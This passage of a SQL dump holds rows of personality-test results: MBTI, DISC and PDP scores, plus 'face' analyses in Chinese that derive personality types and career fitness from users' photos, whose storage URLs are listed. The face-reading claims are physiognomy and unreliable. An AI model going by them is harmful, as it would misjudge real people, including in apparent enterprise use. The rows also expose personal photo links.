\"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静克制,思维细腻深邃,兼具理性分析与温和共情,适合在稳定而需创意与规划的环境中长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨量匀称偏纤细,为木水兼具之相,骨感不突兀而脉络清晰,格局重于思考与审美判断,擅长以柔性持续承压。\", \"faceAnalysis\": \"额头偏高饱满,眼神柔中带定,鼻梁清秀,唇形收敛,下巴略尖,整体给人理性内向、思路清晰而不张扬之感。\", \"personalitySummary\": \"内向深思型,重视原则与边界,做事有规划感与责任心;情绪外显不多却具同理心,人际偏安静克制,习惯以专业与作品说话。\"}', NULL, NULL, 1, 0, 2, NULL, 1772518933, 1772518933, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (53, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、冷静克制,擅长体系化规划与长期布局,重视效率与结果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨骼匀称不突兀,颧鼻稳而不霸,下颌承载力佳,上停清朗、中停坚实、下停厚稳,格局重在谋划与稳健推进。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳专注,鼻梁挺直收束有力,嘴型紧实偏直率,下颌轮廓清晰,整体给人理性克制、目标明确之感。\", \"personalitySummary\": \"内向理性,重视逻辑与结构,决策审慎而有主见;偏好独立思考与深度研究,人际保持适度距离,擅长在复杂情境中制定长期策略并稳步推进。\"}', NULL, NULL, 1, 0, 2, NULL, 1772520541, 1772520541, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (54, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密果断,擅长抽象推演与系统规划,重视长期价值与可控风险。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏木金形,骨架清晰而不突兀,颧区略显力量但内敛,将军骨与下颌稳固,属稳健谋划型格局,重视结构与秩序。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注内敛,鼻梁端正稳健,嘴型收敛有度,下巴轮廓分明,整体给人理性、克制且有主见的印象。\", \"personalitySummary\": \"性格独立冷静,逻辑感强,偏内向思考型,重视规则与效率,做事有计划、有原则,关注长期布局,社交上有边界感但可靠可信。\"}', NULL, 52, 1, 0, 200, NULL, 1772520586, 1772520593, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (55, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性缜密、目标清晰,重视长期布局与系统性成就,兼具专注深耕与稳健掌控能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨架端正紧致,五行为金水兼具,骨肉停匀,颧骨含而不露、下颌稳实,格局偏中高,宜以智谋统筹和专业深耕见长。\", \"faceAnalysis\": \"额头饱满开阔,眼神内敛而专注,鼻梁端正稳固,唇形收敛理性,下巴略方显坚毅,整体面相偏冷静克制。\", \"personalitySummary\": \"思维高度抽象与系统化,重逻辑与效率,做事有计划有节奏,人际交往内敛克制但可靠,擅在相对独立和高要求环境中发挥战略与专业优势。\"}', NULL, 54, 1, 0, 2, NULL, 1772520623, 1772523215, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (56, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"思维谨慎稳健,重视现实与责任,做事有规划,能在长期项目和复杂环境中稳定推进目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg\"], \"boneAnalysis\": \"骨相偏土金形,骨肉匀称略偏厚重,颧骨不张但有力,下颌承载感强,整体气质务实稳健,以守成见长。\", \"faceAnalysis\": \"额头宽平、眼神内敛稳定,鼻梁端正偏实,嘴型收敛,下颌与腮部较厚,整体表情克制理性。\", \"personalitySummary\": \"性格内敛理智,责任心强,重视规则和秩序,做事有条理有耐心,偏向深思熟虑后再行动,可靠可信,适合承担长期稳定而关键的职责。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535666, 1772535666, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (57, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"理性务实,思路清晰,重视责任与结果,适合承担长期稳定而高标准的工作任务。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨感含蓄不外露,颧骨内敛带角,面廓偏长方形,上停与中停协调,下颌骨线条清楚,属稳健持久型格局。\", \"faceAnalysis\": \"额头平阔顺正,眼神沉稳内敛,鼻梁端正,嘴型收敛,下巴略尖偏窄,整体五官紧致理性。\", \"personalitySummary\": \"性格内敛谨慎,有条理而重规则,做事稳妥细致,抗压能力佳但情绪表达节制,更偏向理性分析与实际成效。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535717, 1772535717, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (58, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"务实细致、思路清晰,责任感强,重视承诺与结果,适合稳健推进型工作与管理角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛不张扬,颌骨稳厚承载力佳,骨肉均衡,格局以稳健守成、注重长期积累见长。\", \"faceAnalysis\": \"额头开阔偏方,眼神凝定带戒心,鼻梁顺直山根清晰,嘴形收敛有度,下巴略方,整体给人理性稳重、做事有分寸感。\", \"personalitySummary\": \"性格内敛理性,重视秩序与规则,行事谨慎踏实,有担当不轻言放弃,对自己和他人要求较高,适合负责关键细节与长线项目。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535749, 1772535749, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (59, 12, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、判断稳重,擅长规划与分析,重视长期价值与现实落地,适合在复杂环境中做决策与统筹。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg\"], \"boneAnalysis\": \"五行偏土金形,骨架端正不夸张,骨肉均衡偏含蓄,决断稳中带慎,抗压方式以冷静思考、稳健推进为主,擅长在中长期阶段持续发力。\", \"faceAnalysis\": \"额头较饱满,眼神内敛专注,鼻梁端正,嘴型收敛,下巴略内收但轮廓清晰,整体给人理性、稳重、审慎之感。\", \"personalitySummary\": \"性格内敛理性,重视逻辑与结构,做事先谋后动,偏好独立思考与深度研究,人际上有边界感但可靠度高,适合作为长期项目与关键事务的负责人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772535779, 1772535779, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (60, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,创意十足,擅长用幽默与热情影响他人,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"面部线条柔中带劲,骨感不重但轮廓清晰,属于火木偏盛之相,重在灵动与扩散影响力。\", \"faceAnalysis\": \"圆润额头与上扬眉眼给人亲和感和少年气,神态生动,情绪表达自然,善于拉近人际距离。\", \"personalitySummary\": \"重视兴趣与价值认同,直觉主导,点子多,表达欲强,乐于社交与分享,喜欢在轻松自由的环境中高效输出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772607899, 1772607899, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (61, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情,创意十足,善于沟通与启发他人,适合需要人际互动和创意表达的领域。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相柔中带刚,上庭开朗,中停丰盈,下停稳实,整体气质活跃而不失稳定支撑。\", \"faceAnalysis\": \"五官圆润亲和,笑意明显,整体给人开放友善、易于接近且富有幽默感的印象。\", \"personalitySummary\": \"思维发散、有想象力,重视情感与价值认同,人际表达自然灵活,乐于尝试新事物并激发团队氛围。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608243, 1772608243, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (62, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向开朗,思维活跃,有创意与感染力,适合做连接人与资源的桥梁型角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"上停饱满、颧区柔和不突,中停与下停过渡圆顺,骨感适中,重在亲和力与适配力而非强势掌控。\", \"faceAnalysis\": \"额头圆润开阔,眼神生动带笑,嘴角上扬,整体给人亲切乐观、灵动机敏的印象。\", \"personalitySummary\": \"性格热情真诚,富有好奇心与想象力,乐于表达与分享,善于激励他人与营造轻松氛围,创意多且点子活跃。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772608768, 1772608768, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (63, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向热情、思维活跃,善于启发他人与整合资源,适合在变化环境中发挥影响力与创造力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"颧骨与下颌圆润不失力度,骨肉匀称,属木火偏旺之相,重在创意表达与人际影响,抗压方式以灵活变通为主。\", \"faceAnalysis\": \"额头饱满开阔,眼神灵动带笑,鼻口协调度高,整体面相亲和中带果断,善社交且具一定执行力。\", \"personalitySummary\": \"性格开朗真诚,思维发散而富想象,重视价值与理想,待人友善有感染力,适合在团队中承担创意与联络角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772768944, 1772768944, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (64, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"形象开朗温和,思维活跃有创意,人际感知敏锐,适合做连接资源、启发他人的角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相圆润不突兀,骨肉均衡,气质偏灵动与亲和,重在人缘与适应力而非强势压迫感。\", \"faceAnalysis\": \"额头圆阔,五官柔和舒展,笑眼弯弯,整体给人亲切、外向、易亲近的印象。\", \"personalitySummary\": \"热情友好,想象力强,重视价值与意义,善于与人沟通联结,适合在多变环境中发挥创意与影响力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772769074, 1772769074, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (65, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、重视逻辑与结构,擅长规划与评估,在稳定框架中持续优化与精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相匀称偏稳,颧额不过分外张,属谋划与判断型,多以深思熟虑与持续精进取胜。\", \"faceAnalysis\": \"额庭饱满、眼神专注,鼻部端正,嘴角收敛,整体给人理性内敛、思考充分后再行动的印象。\", \"personalitySummary\": \"理性冷静,重视体系与长远收益,偏内向不事张扬,做事有计划感与原则边界,适合策略规划与专业深耕。\"}', NULL, NULL, 1, 0, 100, NULL, 1772777210, 1772777210, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (66, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、擅长系统规划与判断,全局视角突出,适合承担决策与策略类核心岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相端正不张扬,骨肉均衡偏理性持重型,颧区与下颌承载力佳,属稳中带锋,长线发展潜力强。\", \"faceAnalysis\": \"额头饱满开阔,眼神专注稳定,鼻梁端正有力,嘴型收敛清晰,下巴稳实,整体给人思虑深远、行事有度的印象。\", \"personalitySummary\": \"思维缜密独立,重逻辑与结构,决策前充分评估风险与收益,人际中有边界感但可靠度高,善于在复杂环境中找到最优解。\"}', NULL, NULL, 1, 0, 101, NULL, 1772777310, 1772777310, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (67, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 8, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:09:01.675Z\", \"confidence\": 100, \"completedAt\": \"2026-03-06T06:09:01.675Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 18, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 8, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, 101, NULL, 1772777341, 1772777341, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (68, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 1, \"Tiger\": 19, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Koala\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-03-06T06:10:13.546Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 5, \"Tiger\": 95, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 17, \"secondaryType\": \"Koala\"}', NULL, NULL, 1, 0, 101, NULL, 1772777413, 1772777413, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (69, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-06T06:10:46.131Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 7, \"secondaryType\": \"I\"}', NULL, NULL, 1, 0, 101, NULL, 1772777446, 1772777446, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (70, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、谋略清晰,擅长系统规划与稳健决策,适合深度思考与长期项目主导。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相均衡偏稳,额骨与颧骨不露锋芒但有内劲,下颌扎实,整体属稳健持久型格局。\", \"faceAnalysis\": \"额头饱满开阔,眉眼沉稳聚焦,鼻形端正收敛,嘴角含蓄不张扬,下巴圆厚有承载力。\", \"personalitySummary\": \"思维缜密,重逻辑与结构,情绪克制,做事有节奏感和计划性,偏独立决策与深度钻研。\"}', NULL, NULL, 1, 0, 200, NULL, 1772777563, 1772777563, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (71, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 1, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 1, \"S\": 7, \"T\": 6}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-06T06:13:16.011Z\", \"confidence\": 93, \"completedAt\": \"2026-03-06T06:13:16.011Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 24, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 1, \"dominant\": \"J\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 6, \"dominant\": \"T\", \"percentage\": 86}}}', NULL, NULL, 1, 0, 200, NULL, 1772777596, 1772777596, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (72, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-03-06T06:14:30.403Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 14, \"secondaryType\": \"Tiger\"}', NULL, NULL, 1, 0, 200, NULL, 1772777670, 1772777670, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (73, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、善于筹划与评估风险,重视长远布局与体系化推进,适合承担决策与策略设计角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨相偏金水形,骨肉匀称,颧骨内敛不外突,整体气质内敛克制,重逻辑与规则,行动稳健不张扬。\", \"faceAnalysis\": \"额头开阔、眼神专注,鼻梁端正,口形收敛,整体给人理性稳重、思路清晰且有节制的印象。\", \"personalitySummary\": \"性格理性冷静,重视结构与效率,偏内向独立,有清晰原则与边界,擅长在安静环境中深度思考与规划。\"}', NULL, NULL, 1, 0, 101, NULL, 1772779082, 1772779082, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (74, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略周全,擅长系统规划与风险控制,适合掌舵长线项目与关键决策岗位。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png\"], \"boneAnalysis\": \"骨骼线条分明不张扬,属木土兼具之稳健格局,重视结构与秩序,行动节奏耐心持久。\", \"faceAnalysis\": \"额头开阔、五官端正,眼神专注沉稳,整体给人理智可信、思维缜密且有主见的印象。\", \"personalitySummary\": \"内敛克制,思考深入,偏好独立决策与长期规划;重视逻辑和证据,对自己与他人要求高,人际保持适度距离但可靠守信。\"}', NULL, NULL, 1, 0, 200, NULL, 1772779594, 1772779594, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (75, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"思维缜密、稳健克制,擅长谋划与统筹,适合承担关键决策与长期规划角色。\", \"photoUrls\": 